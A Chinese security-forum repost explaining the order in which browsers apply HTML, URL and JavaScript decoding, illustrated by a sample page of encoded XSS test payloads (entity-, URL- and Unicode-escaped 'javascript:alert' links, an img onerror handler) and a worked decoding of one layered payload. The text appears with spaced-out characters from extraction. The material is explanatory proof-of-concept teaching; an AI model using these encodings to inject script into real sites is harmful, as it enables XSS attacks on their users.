搜索

[417] 2021-07-29_浏览器解析过程（xss利用）

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-16
2021-07-29_浏览器解析过程（xss利用） 浏 览 器 解 析 过 程 （ x s s 利 用 ） a l u m m 0 x   2 0 2 1 - 0 7 - 2 9 原 文   h t t p s : / / b o b a o . 3 6 0 . c n / l e a r n i n g / d e t a i l / 2 9 2 . h t m l < ! D O C T Y P E   h t m l > < h t m l > < b o d y > < a   h r e f = " % 6 a % 6 1 % 7 6 % 6 1 % 7 3 % 6 3 % 7 2 % 6 9 % 7 0 % 7 4 : % 6 1 % 6 c % 6 5 % 7 2 % 7 4 % 2 8 % 3 1 % 2 9 " > a 1 < / a > < ! - -   U R L   编 码   " j a v a s c r i p t : a l e r t ( 1 ) "   - - > < b r > < a   h r e f = " & # x 6 a ; & # x 6 1 ; & # x 7 6 ; & # x 6 1 ; & # x 7 3 ; & # x 6 3 ; & # x 7 2 ; & # x 6 9 ; & # x 7 0 ; & # x 7 4 ; : % 6 1 % 6 c % 6 5 % 7 2 % 7 4 % 2 8 % 3 2 % 2 9 " > a 2 < / a > < ! - -   H T M L 字 符 实 体 编 码   " j a v a s c r i p t "   和   U R L   编 码   " a l e r t ( 2 ) "   - - > < b r > < a   h r e f = " j a v a s c r i p t % 3 a a l e r t ( 3 ) " > a 3 < / a > < ! - -   U R L   编 码   " : "   - - > < d i v > & # 6 0 ; i m g   s r c = x   o n e r r o r = a l e r t ( 4 ) & # 6 2 ; < / d i v > < ! - -   H T M L 字 符 实 体 编 码   <   和   >   - - > < t e x t a r e a > & # 6 0 ; s c r i p t & # 6 2 ; a l e r t ( 5 ) & # 6 0 ; / s c r i p t & # 6 2 ; < / t e x t a r e a > < ! - -   H T M L 字 符 实 体 编 码   <   和   >   - - > < b r > < t e x t a r e a > < s c r i p t > a l e r t ( 6 ) < / s c r i p t > < / t e x t a r e a > < b u t t o n   o n c l i c k = " c o n f i r m ( ' 7 & # 3 9 ; ) ; " > B u t t o n < / b u t t o n > < ! - -   H T M L 字 符 实 体 编 码   "   '   "   （ 单 引 号 ）   - - > < b u t t o n   o n c l i c k = " c o n f i r m ( ' 8 u 0 0 2 7 ) ; " > B u t t o n < / b u t t o n > < ! - -   U n i c o d e 编 码   "   '   "   （ 单 引 号 ）   - - > < s c r i p t > & # 9 7 ; & # 1 0 8 ; & # 1 0 1 ; & # 1 1 4 ; & # 1 1 6 & # 4 0 ; & # 5 7 ; & # 4 1 ; & # 5 9 < / s c r i p t > < ! - -   H T M L 字 符 实 体 编 码   a l e r t ( 9 ) ;   - - > < s c r i p t > u 0 0 6 1 u 0 0 6 c u 0 0 6 5 u 0 0 7 2 u 0 0 7 4 ( 1 0 ) ; < / s c r i p t > < ! - -   U n i c o d e   编 码   a l e r t   - - > < s c r i p t > u 0 0 6 1 u 0 0 6 c u 0 0 6 5 u 0 0 7 2 u 0 0 7 4 u 0 0 2 8 u 0 0 3 1 u 0 0 3 1 u 0 0 2 9 < / s c r i p t > < ! - -   U n i c o d e   编 码   a l e r t ( 1 1 )   - - > < s c r i p t > u 0 0 6 1 u 0 0 6 c u 0 0 6 5 u 0 0 7 2 u 0 0 7 4 ( u 0 0 3 1 u 0 0 3 2 ) < / s c r i p t > < ! - -   U n i c o d e   编 码   a l e r t   和   1 2   - - > < s c r i p t > a l e r t ( ' 1 3 u 0 0 2 7 ) < / s c r i p t > < ! - -   U n i c o d e   编 码   "   '   "   （ 单 引 号 ）   - - > < s c r i p t > a l e r t ( ' 1 4 u 0 0 0 a ' ) < / s c r i p t > < ! - -   U n i c o d e   编 码 换 行 符 （ 0 x 0 A ）   - - > < b r > < a h r e f = " & # x 6 a ; & # x 6 1 ; & # x 7 6 ; & # x 6 1 ; & # x 7 3 ; & # x 6 3 ; & # x 7 2 ; & # x 6 9 ; & # x 7 0 ; & # x 7 4 ; & # x 3 a ; & # x 2 5 ; & # x 3 5 ; & # x 6 3 ; & # x 2 5 ; & # x 3 7 ; & # x 3 5 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 6 ; & # x 2 5 ; & # x 3 3 ; & # x 3 1 ; & # x 2 5 ; & # x 3 5 ; & # x 6 3 ; & # x 2 5 ; & # x 3 7 ; & # x 3 5 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 6 ; & # x 2 5 ; & # x 3 6 ; & # x 3 3 ; & # x 2 5 ; & # x 3 5 ; & # x 6 3 ; & # x 2 5 ; & # x 3 7 ; & # x 3 5 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 6 ; & # x 2 5 ; & # x 3 3 ; & # x 3 5 ; & # x 2 5 ; & # x 3 5 ; & # x 6 3 ; & # x 2 5 ; & # x 3 7 ; & # x 3 5 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 7 ; & # x 2 5 ; & # x 3 3 ; & # x 3 2 ; & # x 2 5 ; & # x 3 5 ; & # x 6 3 ; & # x 2 5 ; & # x 3 7 ; & # x 3 5 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 7 ; & # x 2 5 ; & # x 3 3 ; & # x 3 4 ; & # x 2 8 ; & # x 3 1 ; & # x 3 5 ; & # x 2 9 ; " > a 4 < / a > < / b o d y > < / h t m l > 上 面 是 一 些 例 子 ， 看 完 其 实 已 经 有 个 大 概 的 理 解 了 解 析 顺 序 解 析 顺 序 主 要 有 三 个 处 理 过 程 ： H T M L 解 析 ， U R L 解 析 和 J a v a S c r i p t 解 析 。 每 个 解 析 器 负 责 解 码 和 解 析 H T M L 文 档 中 它 所 对 应 的 部 分 ， 大 概 过 程 1 、 先 h t m l 解 析 、 解 码 （ 常 用 h t m l 实 体 编 码 ， & # x 2 5 ; ） 2 、 h t m l 解 析 中 ， 如 果 需 要 s c r i p t 标 签 ， 则 再 进 行 j s 解 码 （ 常 用 u 0 0 2 5 ， 加 密 对 象 ： 函 数 名 、 字 符 串 ） 3 、 再 遇 到 u r l 的 则 进 行 u r l 解 码 解 析 优 先 级 ： h t m l   - >   j a v a s c r i p t h t m l   - >   u r l j s 跟 u r l 的 顺 序 需 要 结 合 场 景 ， 如 下 例 子 E x a m p l e   A :   < a   h r e f = " U s e r I n p u t " > < / a > E x a m p l e   B :   < a   h r e f = #   o n c l i c k = " w i n d o w . o p e n ( ' U s e r I n p u t ' ) " > < / a > 在 例 A 中 ， H T M L 解 析 器 将 首 先 开 始 工 作 ， 并 对 U s e r I n p u t 中 的 字 符 引 用 进 行 解 码 。 然 后 U R L 解 析 器 开 始 对 h r e f 值 进 行 U R L 解 码 。 最 后 ， 如 果 U R L 资 源 类 型 是 J a v a S c r i p t ， 那 么 J a v a S c r i p t 解 析 器 会 进 行 U n i c o d e 转 义 序 列 和 H e x 转 义 序 列 的 解 码 。 再 之 后 ， 解 码 的 脚 本 会 被 执 行 。 因 此 ， 这 里 涉 及 三 轮 解 码 ， 顺 序 是 顺 序 是 H T M L ， ， U R L 和 和 J a v a S c r i p t 。 在 例 B 中 ， H T M L 解 析 器 首 先 工 作 。 然 而 接 下 来 ， J a v a S c r i p t 解 析 器 开 始 解 析 在 o n c l i c k 事 件 处 理 器 中 的 值 。 这 是 因 为 在 o n c l i c k 事 件 处 理 器 中 是 s c r i p t 的 上 下 文 。 当 这 段 J a v a S c r i p t 被 解 析 并 被 执 行 的 时 候 ， 它 执 行 的 是 “ w i n d o w . o p e n ( ) ” 操 作 ， 其 中 的 参 数 是 U R L 的 上 下 文 。 在 此 时 ， U R L 解 析 器 开 始 对 U s e r I n p u t 进 行 U R L 解 码 并 把 结 果 回 传 给 J a v a S c r i p t 引 擎 。 因 此 这 里 一 共 涉 及 三 轮 解 码 ， 顺 序 是 顺 序 是 H T M L ， ， J a v a S c r i p t 和 和 U R L 。 举 个 例 子 分 析 举 个 例 子 分 析 < a h r e f = " & # x 6 a ; & # x 6 1 ; & # x 7 6 ; & # x 6 1 ; & # x 7 3 ; & # x 6 3 ; & # x 7 2 ; & # x 6 9 ; & # x 7 0 ; & # x 7 4 ; & # x 3 a ; & # x 2 5 ; & # x 3 5 ; & # x 6 3 ; & # x 2 5 ; & # x 3 7 ; & # x 3 5 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 6 ; & # x 2 5 ; & # x 3 3 ; & # x 3 1 ; & # x 2 5 ; & # x 3 5 ; & # x 6 3 ; & # x 2 5 ; & # x 3 7 ; & # x 3 5 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 6 ; & # x 2 5 ; & # x 3 6 ; & # x 3 3 ; & # x 2 5 ; & # x 3 5 ; & # x 6 3 ; & # x 2 5 ; & # x 3 7 ; & # x 3 5 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 6 ; & # x 2 5 ; & # x 3 3 ; & # x 3 5 ; & # x 2 5 ; & # x 3 5 ; & # x 6 3 ; & # x 2 5 ; & # x 3 7 ; & # x 3 5 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 7 ; & # x 2 5 ; & # x 3 3 ; & # x 3 2 ; & # x 2 5 ; & # x 3 5 ; & # x 6 3 ; & # x 2 5 ; & # x 3 7 ; & # x 3 5 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 0 ; & # x 2 5 ; & # x 3 3 ; & # x 3 7 ; & # x 2 5 ; & # x 3 3 ; & # x 3 4 ; & # x 2 8 ; & # x 3 1 ; & # x 3 5 ; & # x 2 9 ; " > a 4 < / a > h t m l 解 码 < a   h r e f = " j a v a s c r i p t : % 5 c % 7 5 % 3 0 % 3 0 % 3 6 % 3 1 % 5 c % 7 5 % 3 0 % 3 0 % 3 6 % 6 3 % 5 c % 7 5 % 3 0 % 3 0 % 3 6 % 3 5 % 5 c % 7 5 % 3 0 % 3 0 % 3 7 % 3 2 % 5 c % 7 5 % 3 0 % 3 0 % 3 7 % 3 4 ( 1 5 ) " > a 4 < / a > u r l 解 码 < a   h r e f = " j a v a s c r i p t : u 0 0 6 1 u 0 0 6 c u 0 0 6 5 u 0 0 7 2 u 0 0 7 4 ( 1 5 ) " > a 4 < / a >
j s 解 码 < a   h r e f = " j a v a s c r i p t : a l e r t ( 1 5 ) " > a 4 < / a > 过 程 分 析 1 、 浏 览 器 渲 染 开 始 先 h t m l 解 析 ， 对 标 签 进 行 h t m l 解 码 2 、 h r e f 属 性 值 是 u r l ， 所 以 进 行 了 u r l 解 码 3 、 j a v a s c r i p t 伪 协 议 ， 后 面 的 内 容 属 于 j a v a s c r i p t ， 所 以 进 行 了 u n i c o d e 解 码
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理